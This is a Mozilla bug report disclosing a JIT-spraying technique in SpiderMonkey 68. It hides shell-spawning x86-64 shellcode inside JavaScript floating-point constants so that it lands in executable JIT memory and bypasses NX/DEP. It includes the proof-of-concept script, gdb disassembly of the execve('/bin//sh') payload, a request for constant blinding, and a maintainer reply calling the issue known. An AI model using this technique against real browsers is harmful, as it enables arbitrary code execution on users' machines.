bypass NX/DEP using JIT compiler
Categories
(Core :: JavaScript Engine: JIT, defect)
Tracking
()
People
(Reporter: slei.casper, Unassigned)
Details
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Steps to reproduce:
- compile spidermonkey 68 in linux
- running following poc.js using gdb
var gi;
function f(){
//force jit
for (let v15 = 0; v15 < 0xeeeff; v15++) {}
//shellcode 6a3b58995248bb2f2f62696e2f736853545f5257545e0f05
gi = 9.203763987562782e-79;
gi = 6.375092797421955e+93;
gi = 2.6368626227639178e-284;
Math.atan2(0x233);
}
for (let v31 = 0; v31 < 1000; v31++) {
f();
}
readline();
f();
3. when executing readline, add breakpoint at js::math_atan2, then continue execution until we hit the breakpoint.
Actual results:
using gdb's bt command dump stack frames
gdb-peda$ bt
#0 js::math_atan2 (cx=0x7ffff5f16000, argc=0x1, vp=0x7fffffffb9c8)
at /mnt/main/sourcecodes/firefox/firefox-68.0/js/src/jsmath.cpp:175
#1 0x00003e6d3cba66a1 in ?? ()
#2 0x087f8b4800000006 in ?? ()
#3 0x00007fffffffb9a8 in ?? ()
#4 0x0000000000000040 in ?? ()
#5 0x0000000000000000 in ?? ()
frame #1 is jited code and we using command x/50i 0x00003e6d3cba66a1-0x180 like this to disassemble jited code.
0x3e6d3cba6521: push rcx
0x3e6d3cba6522: add BYTE PTR [rax],al
0x3e6d3cba6524: add BYTE PTR [rax-0x7d],cl
0x3e6d3cba6527: in al,dx
0x3e6d3cba6528: and BYTE PTR [rax-0x46],cl
0x3e6d3cba652b: add BYTE PTR [rax],al
0x3e6d3cba652d: add BYTE PTR [rax],al
0x3e6d3cba652f: add BYTE PTR [rax+0x41f7fff9],al
0x3e6d3cba6535: call 0x3e6d3cba653b
0x3e6d3cba653a: je 0x3e6d3cba6544
0x3e6d3cba6540: mov rdx,QWORD PTR [rcx-0x10]
0x3e6d3cba6544: mov rbx,QWORD PTR [rcx-0x50]
0x3e6d3cba6548: mov rax,QWORD PTR [rsp+0x40]
0x3e6d3cba654d: mov rcx,rax
0x3e6d3cba6550: shr rcx,0x2f
0x3e6d3cba6554: cmp ecx,0x1fff3
0x3e6d3cba655a: jne 0x3e6d3cba66f1
0x3e6d3cba6560: mov r11,rbx
0x3e6d3cba6563: shr r11,0x2f
0x3e6d3cba6567: cmp r11d,0x1fff1
0x3e6d3cba656e: jne 0x3e6d3cba66f8
0x3e6d3cba6574: mov eax,ebx
0x3e6d3cba6576: mov rcx,rdx
0x3e6d3cba6579: movabs r11,0x7ffff5f167d4
0x3e6d3cba6583: cmp DWORD PTR [r11],0x0
0x3e6d3cba6587: jne 0x3e6d3cba66ff
0x3e6d3cba658d: cmp eax,0xeeeff
0x3e6d3cba6592: jge 0x3e6d3cba659d
0x3e6d3cba6598: add eax,0x1
0x3e6d3cba659b: jmp 0x3e6d3cba6579
0x3e6d3cba659d: mov DWORD PTR [rsp+0x14],eax
0x3e6d3cba65a1: mov QWORD PTR [rsp+0x18],rcx
0x3e6d3cba65a6: movsd xmm0,QWORD PTR [rip+0x1ba] # 0x3e6d3cba6768 <== this is the place where shellcode placed
0x3e6d3cba65ae: movabs rax,0xe9298577060
0x3e6d3cba65b8: mov rax,QWORD PTR [rax+0x10]
0x3e6d3cba65bc: movsd QWORD PTR [rax+0xcf8],xmm0
0x3e6d3cba65c4: movsd xmm0,QWORD PTR [rip+0x1a4] # 0x3e6d3cba6770
0x3e6d3cba65cc: movsd QWORD PTR [rax+0xcf8],xmm0
0x3e6d3cba65d4: movsd xmm0,QWORD PTR [rip+0x19c] # 0x3e6d3cba6778
0x3e6d3cba65dc: movsd QWORD PTR [rax+0xcf8],xmm0
0x3e6d3cba65e4: movabs rcx,0xe9298578040
0x3e6d3cba65ee: movabs rdx,0x7ffff58748b0
0x3e6d3cba65f8: jmp QWORD PTR [rdx]
0x3e6d3cba65fa: mov r11,rax
and we can dumping the content at 0x3e6d3cba6768, using command x/15i 0x3e6d3cba6768 and x/10gx 0x3e6d3cba6768
gdb-peda$ x/15i 0x3e6d3cba6768
0x3e6d3cba6768: push 0x3b
0x3e6d3cba676a: pop rax
0x3e6d3cba676b: cdq
0x3e6d3cba676c: push rdx
0x3e6d3cba676d: movabs rbx,0x68732f6e69622f2f
0x3e6d3cba6777: push rbx
0x3e6d3cba6778: push rsp
0x3e6d3cba6779: pop rdi
0x3e6d3cba677a: push rdx
0x3e6d3cba677b: push rdi
0x3e6d3cba677c: push rsp
0x3e6d3cba677d: pop rsi
0x3e6d3cba677e: syscall
0x3e6d3cba6780: jmp QWORD PTR [rip+0x2] # 0x3e6d3cba6788
0x3e6d3cba6786: ud2
gdb-peda$ x/10gx 0x3e6d3cba6768
0x3e6d3cba6768: 0x2fbb485299583b6a 0x5368732f6e69622f
0x3e6d3cba6778: 0x050f5e5457525f54 0x0b0f0000000225ff
0x3e6d3cba6788: 0x0000555555f8dd10 0x0b0f0000000225ff
0x3e6d3cba6798: 0x0000000000000000 0x0b0f0000000225ff
0x3e6d3cba67a8: 0x0000000000000000 0x0b0f0000000225ff
As you can see, once we have a vulnerability which can hijack RIP, we can set RIP to JITED code without using code reuse technique like ROP. So this can be used to bypass NX mitigation on Linux or DEP on Windows.
Expected results:
JIT compiler should add constant blinding technique to prevent such attacks, such as xor with a random number.
Updated•6 years ago
|
Comment 1•6 years ago
|
||
Thanks for opening this issue, this is a valid issue. However, this is a known issue and I invite you to read the discussion from Bug 1376819, which is investigating the implementation of constant blinding in Firefox.
Description
•